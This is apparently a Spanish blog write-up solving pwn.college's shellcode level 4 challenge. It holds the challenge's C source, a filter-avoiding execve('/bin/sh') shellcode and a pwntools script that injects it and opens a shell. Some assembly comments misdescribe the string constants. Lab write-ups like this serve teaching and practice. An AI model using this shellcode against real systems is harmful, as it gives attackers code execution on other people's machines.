Shellcode Injection Dojo - level 4

naibu3 · May 13, 2025

En esta serie de posts nos dedicaremos a resolver los ejercicios de shellcoding de pwn.college.


Image

Reconocimiento

Este será el primero, por lo tanto no será un ejercicio difícil. En /challenge/babyshell-level-4.c:

void *shellcode;
size_t shellcode_size;

int main(int argc, char **argv, char **envp)
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    printf("###\n");
    printf("### Welcome to %s!\n", argv[0]);
    printf("###\n");
    printf("\n");

    puts("This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them");
    puts("as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will");
    puts("practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing");
    puts("other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.\n");
    for (int i = 3; i < 10000; i++) close(i);
    for (char **a = argv; *a != NULL; a++) memset(*a, 0, strlen(*a));
    for (char **a = envp; *a != NULL; a++) memset(*a, 0, strlen(*a));

    shellcode = mmap((void *)0x2232c000, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON, 0, 0);
    assert(shellcode == (void *)0x2232c000);
    printf("Mapped 0x1000 bytes for shellcode at %p!\n", shellcode);

    puts("Reading 0x1000 bytes from stdin.\n");
    shellcode_size = read(0, shellcode, 0x1000);
    assert(shellcode_size > 0);

    puts("Executing filter...\n");
    puts("This challenge requires that your shellcode have no H bytes!\n");
    for (int i = 0; i < shellcode_size; i++)
        if (((uint8_t *)shellcode)[i] == 'H')
        {
            printf("Failed filter at byte %d!\n", i);
            exit(1);
        }

    puts("This challenge is about to execute the following shellcode:\n");
    print_disassembly(shellcode, shellcode_size);
    puts("");

    puts("Executing shellcode!\n");
    ((void(*)())shellcode)();

    printf("### Goodbye!\n");
}

Simplemente lee 0x1000 bytes y los ejecuta, teniendo en cuenta eso sí que no se utilice H.

Explotación

De primeras podríamos probar con algo así:

; Preparación de la syscall execve
push 59                    ; Syscall number for execve
pop rax                    ; rax = 59 (syscall number)
cdq                        ; edx = 0 (envp = NULL)
push rdx                    ; NULL
pop rsi                    ; rsi = NULL (argv)

; Coloca la cadena '/bin/sh' en el stack
; Primero coloca '/bin'
mov rcx, 0x0068732f6e69622f ; 'bin//' en hexadecimal
push rcx                    ; Coloca '/bin' en el stack

; Luego coloca 'sh'
xor rdx, rdx                ; rdx = 0 (envp = NULL)
push rdx                    ; NULL
mov rcx, 0x68732f2f         ; 'sh' en hexadecimal
push rcx                    ; Coloca 'sh' en el stack

; Prepara los argumentos de execve
push rsp                    ; Dirección de la cadena '/bin//sh'
pop rdi                     ; rdi = "/bin//sh" (primer argumento)

syscall                     ; Llamada al sistema para ejecutar execve

Sin embargo, recibiremos una salida con Failed filter at byte 6!, Ya que el shellcode contiene dicho byte (0x48), esto podemos verlo imprimiendo el shellcode: b'j;X\x99R^H\xb9/bin/sh\x00QH1\xd2RH\xc7\xc1//shQT_\x0f\x05'.

Shellcode sin H

Un posible shellcode es el siguiente:

push 0x68                      ; Coloca 0x68 en el stack (representa 'h' en 'sh')
push 0x6e69622f                ; Coloca 'bin/' (en hexadecimal) en el stack
mov dword ptr [rsp+4], 0x732f2f2f ; Mueve '///s' al espacio de la pila, creando la cadena '/bin/sh'
push rsp                       ; Apila la dirección de '/bin/sh'
pop rdi                        ; Coloca la dirección de '/bin/sh' en rdi (primer argumento para execve)

push 0x2d006873                ; Coloca 'h-s' en el stack
mov dword ptr [rsp+4], 0x70     ; Coloca 'p' en la pila para completar el argumento
xor esi, esi                   ; Rellena rsi con 0 (para 'argv')
push rsi                        ; Empuja 0 (NULL) a rsi
push rsp                        ; Apila la dirección de los argumentos
add dword ptr [rsp], 0xb         ; Agrega 0xb a la dirección de la pila (creando el string para execve)
push rsp                        ; Apila la dirección final
add dword ptr [rsp], 0x10        ; Realiza un pequeño ajuste en el puntero de la pila
push rsp                        ; Apila nuevamente
pop rsi                         ; Coloca la dirección en rsi (como segundo argumento de execve)
xor edx, edx                    ; Establece edx a NULL (tercer argumento de execve)
push 0x3b                       ; Coloca 0x3b (el número de syscall para execve)
pop rax                         ; Coloca el número de syscall (59 para execve) en rax
syscall                         ; Llama a la syscall (ejecuta execve)

Con este shellcode nos saltamos la limitación y conseguimos la shell:


Image

Script

#! /bin/python3

from pwn import *

context.arch = 'amd64'

shellcode = asm("""
    push 0x68
    push 0x6e69622f
    mov dword ptr [rsp+4], 0x732f2f2f
    push rsp
    pop rdi
    push 0x2d006873
    mov dword ptr [rsp+4], 0x70
    xor esi, esi
    push rsi
    push rsp
    add dword ptr [rsp], 0xb
    push rsp
    add dword ptr [rsp], 0x10
    push rsp
    pop rsi
    xor edx, edx
    push 0x3b
    pop rax
    syscall
""")

print(shellcode)

print(asm("""
    xor rdi, rdi"""))

p = process("/challenge/babyshell-level-4")

p.send(shellcode)

p.interactive()


Image

Twitter, Facebook